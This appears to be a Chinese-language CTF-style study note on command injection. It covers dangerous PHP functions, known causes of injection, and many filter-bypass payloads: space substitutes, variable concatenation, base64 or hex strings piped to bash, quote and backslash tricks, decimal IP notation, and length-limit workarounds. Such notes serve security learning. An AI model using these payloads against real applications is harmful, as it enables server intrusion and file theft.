一、命令执行
1. php调用外部程序常用的函数:
system()—执行shell命令也就是向dos发送一条指令。
shell_exec() — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
exec() —执行外部程序。
passthru() — 执行外部程序并且显示原始输出。
2. 造成命令执行的原因
代码过滤不严格–如使用system函数调用封装在二进制文件中的核心代码,如system("/bin/program --arg $arg");
系统的漏洞造成命令注入–bash破壳漏洞(CVE-2014-6271)
调用的第三方组件存在代码执行漏洞–WordPress(ImageMagick组件), JAVA(struts2),ThinkPHP命令执行
3.命令执行的危害
继承Web服务程序的权限去执行系统命令或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透
二、绕过技巧
1.常见管道符
windows:
‘|’ 直接执行后面的语句
‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
‘&’ 前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux:
Linux系统包含了windows系统上面四个之外,还多了一个 ‘;’ 这个作用和 ‘&’ 作用相同
2. 空格过滤
< -- 重定向,如cat<flag.php
<> -- 重定向,如cat<>flag.php
%09 -- 需要php环境,如cat%09flag.php
${IFS} -- 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
3. 黑名单绕过
1,拼接
a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=heb;d=ic;ab{c}{d}
2,base64编码
echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag
3,hex编码
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
单引号和双引号绕过
ca''t flag 或ca""t flag
ca''t te""st.php
反斜杠绕过
ca\t fl\ag
cat te\st.php
绕过ip中的句点
网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。
可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。
在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP
4. 绕过长度限制
Linux中的>符号和>>符号>
1,通过>来创建文件
>flag.txt
2,通过>将命令结果存入文件中
echo "hello hacker" > flag.txt
3,>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
echo "hello hacker" >> flag.txt
Linux中命令换行
在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行
比如一条命令cat flag可以如下表示
将命令一条一条输入一个文本中再执行
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
fl\
ag
root@kali:~# sh cmd
this is your flag
5. ls命令
1. ls -a 列出文件下所有的文件,包括以“.“开头的隐藏文件(linux下文件隐藏文件是以.开头的,如果存在..代表存在着父目录)。
2. ls -l 列出文件的详细信息,如创建者,创建时间,文件的读写权限列表等等。
3. ls -F 在每一个文件的末尾加上一个字符说明该文件的类型。"@"表示符号链接、"|"表示FIFOS、"/"表示目录、"="表示套接字。
4. ls -s 在每个文件的后面打印出文件的大小。 size(大小)
5. ls -t 按时间进行文件的排序 Time(时间)
6. ls -A 列出除了"."和".."以外的文件。
7. ls -R 将目录下所有的子目录的文件都列出来,相当于我们编程中的“递归”实现
8. ls -L 列出文件的链接名。Link(链接)
9. ls -S 以文件的大小进行排序
6. 各种读文件命令
cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出